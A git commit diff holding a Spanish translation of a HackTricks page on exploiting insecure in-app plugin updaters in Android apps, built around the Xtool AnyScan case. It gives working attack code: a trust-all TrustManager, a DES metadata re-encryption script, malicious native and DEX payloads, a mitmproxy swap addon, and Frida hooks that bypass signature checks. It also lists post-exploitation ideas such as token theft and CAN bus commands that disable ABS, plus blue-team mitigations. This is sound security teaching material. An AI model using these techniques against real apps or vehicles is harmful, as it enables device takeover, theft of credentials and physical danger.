Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:08:17 +00:00
parent b290bbd166
commit 5ab1560c0b

View File

@ -1,16 +1,49 @@
# Mecanismos de Actualización Insegura en la Aplicación Ejecución Remota de Código a través de Plugins Maliciosos
# Mecanismos de actualización in-app inseguros Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Muchas aplicaciones de Android implementan sus **propios canales de actualización de “plugins” o “características dinámicas”** en lugar de utilizar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar el tráfico puede suministrar **código nativo arbitrario que se cargará dentro del proceso de la aplicación**, lo que lleva a una Ejecución Remota de Código (RCE) completa en el dispositivo y en algunos casos en cualquier dispositivo externo controlado por la aplicación (coches, IoT, dispositivos médicos…).
Muchas aplicaciones Android implementan sus propios canales de actualización “plugin” o “dynamic feature” en lugar de usar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar o manipular el tráfico de actualización puede suministrar código nativo o Dalvik/ART arbitrario que se cargará dentro del proceso de la app, llevando a Remote Code Execution (RCE) total en el dispositivo — y en algunos casos en cualquier dispositivo externo controlado por la app (cars, IoT, medical devices …).
Esta página resume una cadena de vulnerabilidad del mundo real encontrada en la aplicación de diagnóstico automotriz Xtool **AnyScan** (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras aplicaciones de Android y aprovechar la mala configuración durante un compromiso de red team.
Esta página resume una cadena de vulnerabilidades real encontrada en la app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras apps Android y weaponise la mala configuración durante un red-team engagement.
---
## 1. Identificación de un TrustManager TLS Inseguro
## 0. Triado rápido: ¿la app tiene un actualizador inapp?
1. Descompón el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
2. Busca un **`TrustManager`** o `HostnameVerifier` personalizado que confíe ciegamente en cada certificado:
Pistas estáticas para buscar en JADX/apktool:
- Cadenas: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Endpoints de red como `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Helpers criptográficos cerca de rutas de actualización (DES/AES/RC4; Base64; JSON/XML packs).
- Cargadores dinámicos: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Rutas de unzip que escriben en almacenamiento interno de la app o externo, y luego cargan inmediatamente un `.so`/DEX.
Hooks en tiempo de ejecución para confirmar:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Identificando un TrustManager TLS inseguro
1. Descompila el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
2. Busca un `TrustManager` o `HostnameVerifier` personalizado que confíe ciegamente en cualquier certificado:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. Si está presente, la aplicación aceptará **cualquier certificado TLS** → puedes ejecutar un **proxy MITM** transparente con un certificado autofirmado:
3. Si está presente, la aplicación aceptará cualquier certificado TLS → puedes ejecutar un proxy MITM transparente con un self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Ingeniería Inversa de los Metadatos de Actualización
Si TLS pinning está aplicado en lugar de la lógica insegura trust-all, ver:
En el caso de AnyScan, cada lanzamiento de la aplicación activa un GET HTTPS a:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Ingeniería inversa de los metadatos de actualización
En el caso de AnyScan, cada lanzamiento de la app desencadena un HTTPS GET a:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
El cuerpo de la respuesta es un **documento XML** cuyas nodos `<FileData>` contienen **JSON encriptado con DES-ECB y codificado en Base64** que describe cada plugin disponible.
El cuerpo de la respuesta es un documento XML cuyos nodos `<FileData>` contienen JSON cifrado con DES-ECB y codificado en Base64 que describe cada plugin disponible.
Pasos típicos de búsqueda:
1. Localizar la rutina criptográfica (por ejemplo, `RemoteServiceProxy`) y recuperar:
* algoritmo (DES / AES / RC4 …)
* modo de operación (ECB / CBC / GCM …)
* clave / IV codificados de forma fija (a menudo claves DES de 56 bits o claves AES de 128 bits en constantes)
2. Re-implementar la función en Python para desencriptar / encriptar los metadatos:
Pasos típicos:
1. Localiza la rutina criptográfica (p. ej. `RemoteServiceProxy`) y recupera:
- algoritmo (DES / AES / RC4 …)
- modo de operación (ECB / CBC / GCM …)
- clave/IV codificados en el código (comúnmente constantes DES de 56bit o AES de 128bit)
2. Re-implementa la función en Python para descifrar/cifrar los metadatos:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
Notas observadas en el campo (20232025):
- Metadata suele ser JSON-within-XML o protobuf; los cifrados débiles y las claves estáticas son comunes.
- Muchos updaters aceptan HTTP sin TLS para la descarga del payload, incluso si metadata se entrega por HTTPS.
- Los Plugins con frecuencia descomprimen en app-internal storage; algunos todavía usan external storage o el legacy `requestLegacyExternalStorage`, lo que permite cross-app tampering.
---
## 3. Crear un Plugin Malicioso
1. Elige cualquier plugin legítimo en formato ZIP y reemplaza la biblioteca nativa con tu payload:
### 3.1 Ruta de la biblioteca nativa (dlopen/System.load[Library])
1. Elige cualquier plugin ZIP legítimo y reemplaza la biblioteca nativa con tu payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunte a tu servidor HTTP.
3. Encripta con DES + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.
2. Actualiza los metadatos JSON para que `"FileName" : "PWNED.zip"` y `"DownloadURL"` apunten a tu servidor HTTP.
3. Re-encripta + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.
## 4. Entrega la Carga Útil con mitmproxy
### 3.2 Ruta de plugin basada en Dex (DexClassLoader)
`addon.py` ejemplo que *silenciosamente* intercambia los metadatos originales:
Algunas apps descargan un JAR/APK y cargan código vía `DexClassLoader`. Construye un DEX malicioso que se ejecute al cargarse:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Si el objetivo llama a `Class.forName("pwn.Dropper")` tu inicializador estático se ejecuta; de lo contrario, enumera reflectivamente las clases cargadas con Frida y llama a un método exportado.
---
## 4. Entregar el Payload con mitmproxy
`addon.py` ejemplo que intercambia silenciosamente los metadatos originales:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
Ejecuta un servidor web simple para alojar el ZIP malicioso:
Ejecute un servidor web simple para alojar el ZIP/JAR malicioso:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Cuando la víctima lanza la aplicación, esta:
* obtiene nuestro XML forjado a través del canal MITM;
* lo descifra y analiza con la clave DES codificada;
* descarga `PWNED.zip` → descomprime dentro del almacenamiento privado;
* `dlopen()` la *libscan_x64.so* incluida, ejecutando instantáneamente nuestro código **con los permisos de la aplicación** (cámara, GPS, Bluetooth, sistema de archivos, …).
Cuando la víctima lanza la app, esta:
- obtendrá nuestro XML forjado a través del canal MITM;
- lo descifrará y analizará con la crypto hard-coded;
- descargará `PWNED.zip` o `plugin.jar` → lo descomprimirá dentro del almacenamiento privado;
- cargará la `.so` incluida o DEX, ejecutando instantáneamente nuestro código con los permisos de la app (cámara, GPS, Bluetooth, sistema de archivos, …).
Debido a que el plugin se almacena en caché en el disco, el backdoor **persiste a través de reinicios** y se ejecuta cada vez que el usuario selecciona la función relacionada.
## 5. Ideas de Post-Explotación
* Robar cookies de sesión, tokens de OAuth o JWTs almacenados por la aplicación.
* Lanzar un APK de segunda etapa e instalarlo silenciosamente a través de `pm install` (la aplicación ya tiene `REQUEST_INSTALL_PACKAGES`).
* Abusar de cualquier hardware conectado: en el escenario de AnyScan, puedes enviar **comandos OBD-II / CAN bus** arbitrarios (desbloquear puertas, desactivar ABS, etc.).
Porque el plugin está cached on disk la backdoor persiste a través de reinicios y se ejecuta cada vez que el usuario selecciona la función relacionada.
---
### Lista de Verificación de Detección y Mitigación (equipo azul)
## 4.1 Eludir comprobaciones de firma/hash (cuando estén presentes)
* NUNCA envíes una versión de producción con un TrustManager/HostnameVerifier personalizado que desactive la validación de certificados.
* No descargues código ejecutable desde fuera de Google Play. Si *debes*, firma cada plugin con la misma clave **apkSigning v2** y verifica la firma antes de cargar.
* Reemplaza criptografía débil/codificada con **AES-GCM** y una clave rotativa del lado del servidor.
* Valida la integridad de los archivos descargados (firma o al menos SHA-256).
Si el updater valida firmas o hashes, hookea la verificación para que siempre acepte contenido del atacante:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
También considere simular métodos del proveedor como `PluginVerifier.verifySignature()`, `checkHash()`, o atajar la lógica de control de actualizaciones en Java o JNI.
---
## Referencias
## 5. Otras superficies de ataque en los actualizadores (20232025)
- Zip Slip path traversal while extracting plugins: entradas maliciosas como `../../../../data/data/<pkg>/files/target` sobrescriben archivos arbitrarios. Siempre sanee las rutas de las entradas y use allowlists.
- External storage staging: si la app escribe el archivo en almacenamiento externo antes de cargarlo, cualquier otra app puede manipularlo. Scoped Storage o almacenamiento interno de la app evita esto.
- Cleartext downloads: metadata over HTTPS but payload over HTTP → intercambio MITM sencillo.
- Incomplete signature checks: comparar solo el hash de un único archivo, no de todo el archive; no vincular la firma a la clave del desarrollador; aceptar cualquier clave RSA presente en el archivo.
- React Native / Web-based OTA content: si los bridges nativos ejecutan JS desde OTA sin firma estricta, es posible la ejecución arbitraria de código en el contexto de la app (p. ej., insecure CodePush-like flows). Asegure detached update signing y una verificación estricta.
---
## 6. Ideas de post-explotación
- Robar cookies de sesión, tokens OAuth, o JWTs almacenados por la app.
- Dejar un APK de segunda etapa e instalarlo silenciosamente vía `pm install` si es posible (algunas apps ya declaran `REQUEST_INSTALL_PACKAGES`).
- Abusar de cualquier hardware conectado en el escenario AnyScan puedes enviar comandos arbitrarios OBDII / CAN bus (abrir puertas, desactivar ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
- Evite la carga dinámica de código y las actualizaciones fuera de la tienda. Prefiera actualizaciones mediadas por Play. Si los plugins dinámicos son un requisito estricto, diseñe los bundles como dataonly y mantenga el código ejecutable en el APK base.
- Enforce TLS properly: no usar custom trustall managers; despliegue pinning donde sea factible y una configuración de seguridad de red endurecida que prohíba tráfico en texto claro.
- No descargue código ejecutable fuera de Google Play. Si debe hacerlo, use detached update signing (p. ej., Ed25519/RSA) con una clave en poder del desarrollador y verifique antes de cargar. Vincule metadata y payload (longitud, hash, versión) y falle cerrado.
- Use modern crypto (AESGCM) con nonces por mensaje para metadata; elimine claves hardcoded de los clientes.
- Valide la integridad de los archivos descargados: verifique una firma que cubra cada archivo, o como mínimo verifique un manifiesto de hashes SHA256. Rechace archivos extra/desconocidos.
- Almacene las descargas en appinternal storage (o scoped storage en Android 10+) y use permisos de archivo que eviten la manipulación entre apps.
- Defienda contra Zip Slip: normalice y valide las rutas de las entradas zip antes de la extracción; rechace rutas absolutas o segmentos `..`.
- Considere Play “Code Transparency” para permitirle a usted y a los usuarios verificar que el código DEX/nativo enviado coincide con lo que usted compiló (complementa pero no reemplaza la firma del APK).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}